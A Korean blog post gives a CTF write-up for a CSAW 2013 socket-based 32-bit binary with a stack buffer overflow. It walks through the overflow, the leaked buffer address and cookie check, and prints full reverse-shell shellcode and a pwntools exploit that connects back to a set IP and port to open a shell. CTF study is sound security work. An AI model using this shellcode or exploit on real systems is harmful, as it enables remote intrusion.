티스토리 뷰


먼저 이 바이너리는 소켓 프로그래밍이 되어있다.


그래서 ctf환경을 만들기 위해 baobob1024.tistory.com/89 에 적힌 방법대로 nc환경을 만들어주었다.


이렇게 실행을 해주고,


접속을 하면 - nc localhost 31338


잘 작동을 한다.


바이너리 분석을 해보겠다.


elf 32bit 이다.


핵심 함수 이다.

buffer의 위치는 bp-0x80c인데 입력을 0x1000만큼 받는다 -> BOF가 발생하여

ret을 조작할 수 있다.


Welcome to CSAW CTF전에 buffer_address와 cookie의 시작주소를 출력해준다.


이부분에서 secret과 cookie가 맞지않으면 exit를 해버리는데 좀있다가 보겠지만 bof할때 이 값이 맞지않아 exit가 되면 쉘코드가 실행되지 않는다. 따라서 이부분을 맞춰줘야 한다.


NX와 CANARY가 꺼져있다


NX가 꺼져있으니 쉘코드 실행이 가능하다.


참고로 소켓 프로그래밍이 되어있어서 LOB20렙처럼 리버스 쉘코드를 이용해서 리버스 커넥션을 해줘야한다.


buffer의 위치는 브루트포싱 할 필요없이 처음 출력에 buffer의 위치를 출력해주니 그부분을 ret으로 뛰어서 NOP sled해주면 된다.


bp -0xc 부분이 secret과 값이 같아야한다. 왜냐면 exit가 되면 쉘코드가 실행이 되지 않는다.

고맙게도 send로 cookie도 알려준다.



사용한 쉘코드는


shellcode = ("\x31\xc0\x31\xdb\x31\xc9\x31\xd2"+

"\xb0\x66\xb3\x01\x51\x6a\x06\x6a"+

"\x01\x6a\x02\x89\xe1\xcd\x80\x89"+

"\xc6\xb0\x66\x31\xdb\xb3\x02\x68"+

(IPADDR)+

"\x66\x68"+

(PORT)+

"\x66\x53\xfe"+

"\xc3\x89\xe1\x6a\x10\x51\x56\x89"+

"\xe1\xcd\x80\x31\xc9\xb1\x03\xfe"+

"\xc9\xb0\x3f\xcd\x80\x75\xf8\x31"+

"\xc0\x52\x68\x6e\x2f\x73\x68\x68"+

"\x2f\x2f\x62\x69\x89\xe3\x52\x53"+

"\x89\xe1\x52\x89\xe2\xb0\x0b\xcd"+

"\x80")


이다.

리버스 커넥션할 아이피주소와 포트를 저기에 적어주었다.

최종 익스 코드이다



1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

from pwn import *

s = remote("localhost", 31338)

IPADDR = '\xc0\xa8\x85\x84'

PORT = '\x7a\x69'

shellcode = ("\x31\xc0\x31\xdb\x31\xc9\x31\xd2"+

"\xb0\x66\xb3\x01\x51\x6a\x06\x6a"+

"\x01\x6a\x02\x89\xe1\xcd\x80\x89"+

"\xc6\xb0\x66\x31\xdb\xb3\x02\x68"+

(IPADDR)+

"\x66\x68"+

(PORT)+

"\x66\x53\xfe"+

"\xc3\x89\xe1\x6a\x10\x51\x56\x89"+

"\xe1\xcd\x80\x31\xc9\xb1\x03\xfe"+

"\xc9\xb0\x3f\xcd\x80\x75\xf8\x31"+

"\xc0\x52\x68\x6e\x2f\x73\x68\x68"+

"\x2f\x2f\x62\x69\x89\xe3\x52\x53"+

"\x89\xe1\x52\x89\xe2\xb0\x0b\xcd"+

"\x80")

buf_start = s.recv(4)

secret = s.recv(4)

print(s.recv())

payload = "\x90"*(2048-len(shellcode)-100)

payload += shellcode

payload += "\x90"*100

payload += secret

payload += "\x90"*12

#ret

payload += (buf_start)

s.send(payload)

Colored by Color Scripter

cs


코드를 실행하면


이렇게 31337 port로 신호가 오는 것을 확인 할 수 있다.

그리고 쉘 실행이 먹힌다.



참고로 쉘코드 뒤에 \x90을 많이 넣어주자….


'pwnable > CTF write-up' 카테고리의 다른 글

[Codegate 2018] catshop write-up  (0) 2018.05.27
[Codegate 2016] watermelon write-up  (0) 2018.05.24
[trustealth]easy write-up  (0) 2018.05.13
[CSAW2013] Exploitation-1 write-up  (0) 2018.05.12
[Codegate 2018] betting write-up  (0) 2018.05.12
Comments